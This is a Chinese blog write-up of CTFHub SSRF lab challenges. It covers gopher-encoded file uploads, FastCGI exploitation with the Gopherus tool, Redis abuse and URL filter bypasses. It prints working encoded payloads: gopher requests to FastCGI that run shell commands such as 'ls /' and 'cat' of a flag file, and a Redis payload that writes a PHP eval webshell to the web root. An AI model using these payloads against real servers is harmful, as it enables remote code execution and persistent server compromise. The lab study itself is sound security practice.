SSRF学习 2

目录

[CTFHub]

1. 上传文件

分割线

2. FastCGI协议(gopherus工具)

3. Redis协议

Bypass

 (1) URL Bypass

(2) 数字IP Bypass

 (3) 302跳转 Bypass

(4) DNS重绑定 Bypass


[CTFHub]

1. 上传文件

这道题和上个发post请求差不,都是用到了gopher协议,http请求包两次编码,打入gopher。不过这道题有点特别:

上传文件却没有提交按钮??? 怎么上传呢? 这就需要一点点html的知识了,我们知道,前端是可以更改的,所以一会我们上传的时候插入一段html代码即可。

开始做题,首先用file://协议试着读取一下文件代码。

?url=file:///var/www/html/flag.php

?url=file:///var/www/html/index.php 查看一下flag.php和index.php文件

#flag.php文件
<?php

error_reporting(0);

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
    echo "Just View From 127.0.0.1";
    return;
}

if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
    echo getenv("CTFHUB");
    exit;
}
?>

#index.php文件
<?php

error_reporting(0);

if (!isset($_REQUEST['url'])) {
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

代码审计可知,在flag.php文件中,要在本地环境127.0.0.1条件下访问,利用POST/flag.php上传一个文件,上传成功后getenv()会输出环境变量CTFHUB的值,里面应该就是flag了。

所以后面我们试着上传一个文件,burp抓包,这就绕回前面说的,如何添加提交按钮啦:

在此处把下标签插入html中:

< input="submit" name="button">

  提交就出现啦。

 之后随便上传一个文件burp抓包。

将抓取的包的Host变成127.0.0.1:80。之后再对消息头报文二次URL编码,URL第一次编码后要把%0A替换为%0D%0A,再进行第二次编码(这些SSRF1里已经说过了)

POST /flag.php HTTP/1.1

Host: 127.0.0.1:80

Content-Length: 343

Content-Type: multipart/form-data; boundary=---------------------------102674569428728092931880983979

-----------------------------102674569428728092931880983979
Content-Disposition: form-data; name="file"; filename="123.jpg"
Content-Type: image/jpeg


-----------------------------102674569428728092931880983979
Content-Disposition: form-data; name="button"

提交查询
-----------------------------102674569428728092931880983979--

之后将构造好的打入gopher协议中(格式:gopher://127.0.0.1:80/_  )

这里直接写出两次编码后的payload:

POST%20%2Fflag.php%20HTTP%2F1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Type%3A%20multipart%2Fform-data%3B%20boundary%3D---------------------------102674569428728092931880983979%0D%0AContent-Length%3A%20343%0D%0A%0D%0A-----------------------------102674569428728092931880983979%0D%0AContent-Disposition%3A%20form-data%3B%20name%3D%22file%22%3B%20filename%3D%22123.jpg%22%0D%0AContent-Type%3A%20image%2Fjpeg%0D%0A%0D%0A12345%0D%0A-----------------------------102674569428728092931880983979%0D%0AContent-Disposition%3A%20form-data%3B%20name%3D%22button%22%0D%0A%0D%0A%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2%0D%0A-----------------------------102674569428728092931880983979--%0D%0A

 得到flag。

鼓捣了半天没有得到flag。我觉得是因为我上传了一个空文件,后面往文件里写入一些内容后就得到了flag。这方面确实挺让人心烦的,希望大家学习过程中能戒骄戒躁,思考全面。

分割线

到了这里之后,SSRF题目难度已经不是我这种小白见识过的了,不得不看各方大佬们的题解。在此也是记录一下,学习一下大佬们的思路。

2. FastCGI协议(gopherus工具)

下载地址:Gopherus

题目附件:Fastcgi协议分析 

gopherus工具打FastCGI

这种题一般情况下就是利用gopherus直接生成gopher数据把payload打入即可,其他方法少

python2 gopherus.py --exploit fastcgi    第一次输入 
/var/www/html/index.php                 再输入 //这个是已知存在的php文件 
ls /                                     第三次输入 ls命令

报错:Missing parentheses in call to 'print'. Did you mean print(...)?

注意要用python2

 urlencode进行一下编码。

gopher%3A%2F%2F127.0.0.1%3A9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH56%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2517SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25008%2504%2500%253C%253Fphp%2520system%2528%2527ls%2520%2F%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

发现了flag文件。再利用gopherus工具打入一下 cat /flag_4c50ebdc66ce83adcdb05f434cc5b491

urlencode进行一下编码。

gopher%3A%2F%2F127.0.0.1%3A9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH94%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2517SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%255E%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520%2Fflag_4c50ebdc66ce83adcdb05f434cc5b491%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

3. Redis协议

一样是运用gopherus协议。

Redis服务器与客户端通过RESP(REdis Serialization Protocol)协议通信。
RESP协议是在Redis 1.2中引入的,但它成为了与Redis 2.0中的Redis服务器通信的标准方式。这是您应该在Redis客户端中实现的协议。
RESP实际上是一个支持以下数据类型的序列化协议:简单字符串,错误,整数,批量字符串和数组

利用gopherus工具来生成payload:

python2 gopherus.py --exploit redis

第一个选项这里我们填写php,因为我们需要的是phpshell

第二个选项可以不填,默认根路径为/var/www/html

第三个就写入我们的shell代码

 这里我们再进行第二次url编码时,不需要再将%0a换为%0d%0a了,因为生成的payload已经替换了

对生成的payload url编码

gopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

 显示这个504,表明已经成功上传shell,

 蚁剑链接即可。

 在根目录下找到flag。

Bypass

 (1) URL Bypass

请求的URL中必须包含http://notfound.ctfhub.com

可以用@来绕过。

?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

@表示如果这个被执行,就扔掉前面了,相当于访问后面的

具体可以看这个师傅的文字:传送门

(2) 数字IP Bypass

hacker! Ban '/127|172|@/'

127 172 @都被过滤了。绕过数字ip过滤。可以采用八进制、十六进制

也可以特殊的 0.0.0.0绕过

上一章SSRF学习 1 有提到这些绕过姿势。

 (3) 302跳转 Bypass

 直接访问127.0.0.1/flag.php 是被ban掉的.

用file协议读取一下源码试试:

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])) {
    header("Location: /?url=_");
    exit;
}

$url = $_REQUEST['url'];

if (preg_match("/127|172|10|192/", $url)) {
    exit("hacker! Ban Intranet IP");
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

172 127  10  192被ban掉了。和上一题一样,可以0.0.0.0绕过。

?url=0.0.0.0/flag.php

?url=2130706433/flag.php  十进制绕过。

得到flag。

(4) DNS重绑定 Bypass

关键词:DNS重绑定

题目附件:浅谈DNS重绑定漏洞 - 知乎

之前没有见到过。

看其他师傅题解后可知:

当我们给出一个网址链接时,首先会使用服务器端的dns服务器进行dns解析,解析出ip后,再与黑名单比对,进行过滤或请求。
这是使用的原理是,让一个网址绑定两个ip,或者也可以理解为快速的更换绑定对象。
进行dns解析时会随机返回一个ip

 把下面的放到url里。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值